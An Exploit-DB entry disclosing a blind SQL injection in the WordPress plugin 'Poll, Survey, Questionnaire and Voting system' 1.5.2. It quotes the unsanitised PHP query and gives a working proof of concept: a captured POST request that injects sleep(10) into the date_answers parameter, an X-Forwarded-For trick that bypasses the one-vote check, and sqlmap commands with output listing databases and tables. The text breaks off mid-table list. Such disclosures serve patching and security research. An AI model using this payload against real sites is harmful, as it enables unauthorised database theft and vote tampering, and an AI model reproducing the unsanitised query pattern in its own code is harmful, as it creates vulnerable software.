Exploit-DB #50052
Description: WordPress Plugin Poll_ Survey_ Questionnaire and Voting system 1.5.2 - 'date_answers' Blind SQL Injection
Type: webapps
Platform: php
Date: 2021-06-23
Author: Toby Jackson

Exploit:
# Exploit Title: WordPress Plugin Poll, Survey, Questionnaire and Voting system 1.5.2 - 'date_answers' Blind SQL Injection
# Date: 09/06/2021
# Exploit Author: inspired - Toby Jackson
# Blog Post: https://in-spired.xyz/wpdevart-polls-blind-sql-injection/
# Vendor Homepage: https://wpdevart.com/wordpress-polls-plugin
# Software Link: https://en-gb.wordpress.org/plugins/polls-widget/
# Version: Tested on version 1.5.0 and 1.5.2 (Older versions may be affected)
# Tested on: WordPress


## I. Vulnerability

Blind SQL Injection

## II. Product Overview

The software allows users to quickly generate polls and voting system and displays the results in real time.

## III. Exploit 

A vulnerability has been discovered in the wpdevart wordpress plugin "Poll, Survey, Questionnaire and Voting system" version 1.5.0 and 1.5.2. It is possible to perform a blind SQL injection on the date_answers[] parameter when casting a vote. This can be used to dump the back end database. Version 1.5.2 requires the changing of headers using an appropriate method for spoofing an IP address, such as X-Forwarded-For.

## IV. Vulnerable Code 

The vulnerable code resides in the front_end.php page within the save_poll_in_databese() function. It takes the $question_id and $current_user_ip before storing the vote in a variable called $new_voted_array, as seen below, from the date_answers post parameter.


$new_voted_array=$_POST['date_answers'];

The array is then looped through and the $new_answer variable is used as part of the where query without being sanitized.

if($new_voted_array)
	foreach($new_voted_array as $new_answer)	{
		$wpdb->query('UPDATE '.$wpdb->prefix.'polls SET vote = vote+1 WHERE `question_id` = '.$question_id.' AND `answer_name` = '.$new_answer.'');		



The above code is fixed in version 1.5.1, but there remains a vulnerability in 1.5.1 and 1.5.2. When a user is voting for the first time, the vote is cast in a different statement that also does not get sanitized. Coupled with the fact the application uses user-controlled headers to determine whether a user has voted already, an attacker can just edit their origin IP with an X-Forwarded-For header to vote multiple times but also invoke the SQL Injection still.

if ($new_voted_array)
	foreach ($new_voted_array as $answer) {
		$wpdb->query('UPDATE ' . $wpdb->prefix . 'polls SET vote = vote+1 WHERE `question_id` = ' . $question_id . ' AND `answer_name` = ' . $answer . '');
	}


## IV. Proof of Concept

A typical vote, intercepted with burp, will look like the request below. Editing this to contain a sleep will cause the server to sleep for X period.

------
POST /blog/wp-admin/admin-ajax.php?action=pollinsertvalues HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 67
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/blog/index.php/2021/06/09/research/
Cookie: wordpress_d23cdc2cc5dd18709e8feb86452d865b=inspired%7C[PII_REDACTED]%7C52E5QESQG5PIPUT2tixVHPIkdN8inwgNojy9hs0JvDS%7C3538f3f44a02304781e099f970dc762fd89e88378a46613cf636fcd28a9755d3; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_d23cdc2cc5dd18709e8feb86452d865b=inspired%7C[PII_REDACTED]%7C52E5QESQG5PIPUT2tixVHPIkdN8inwgNojy9hs0JvDS%7C3d7d7b6485e1daa04da753dcc4e85a[PII_REDACTED]1de3668ffe108e7829134f0d; wp-settings-time-1=[PII_REDACTED]

question_id=1&poll_answer_securety=5b29ac18fe&date_answers%5B0%5D=sleep(10)
------


Utilizing this, the database can easily be dumped by capturing the request, with an interceptor such as burpsuite, and using sqlmap.  By placing a * at the required injection point, sqlmap will first test this location.

------
POST /blog/wp-admin/admin-ajax.php?action=pollinsertvalues HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 67
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/blog/index.php/2021/06/09/research/
Cookie: wordpress_d23cdc2cc5dd18709e8feb86452d865b=inspired%7C[PII_REDACTED]%7C52E5QESQG5PIPUT2tixVHPIkdN8inwgNojy9hs0JvDS%7C3538f3f44a02304781e099f970dc762fd89e88378a46613cf636fcd28a9755d3; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_d23cdc2cc5dd18709e8feb86452d865b=inspired%7C[PII_REDACTED]%7C52E5QESQG5PIPUT2tixVHPIkdN8inwgNojy9hs0JvDS%7C3d7d7b6485e1daa04da753dcc4e85a[PII_REDACTED]1de3668ffe108e7829134f0d; wp-settings-time-1=[PII_REDACTED]

question_id=1&poll_answer_securety=5b29ac18fe&date_answers%5B0%5D=*
------


Save this request to a file, request.txt, and run the tool.

------
sqlmap -r request.txt --dbms=mysql --dbs --level=5 --risk=3

[14:30:54] [INFO] testing MySQL
[14:30:54] [INFO] confirming MySQL
[14:30:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.46
back-end DBMS: MySQL >= 8.0.0
[14:30:54] [INFO] fetching database names
[14:30:54] [INFO] fetching number of databases
[14:30:54] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:30:54] [INFO] retrieved: 2
[14:30:54] [INFO] resumed: information_schema
[14:30:54] [INFO] resumed: wordpress
available databases [2]:
[*] information_schema
[*] wordpress
------

------
sqlmap -r request.txt --dbms=mysql -D wordpress --tables --level=5 --risk=3

Database: wordpress
[19 tables]
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_democracy_a        |
| wp_democracy_log      |
| wp_democracy_q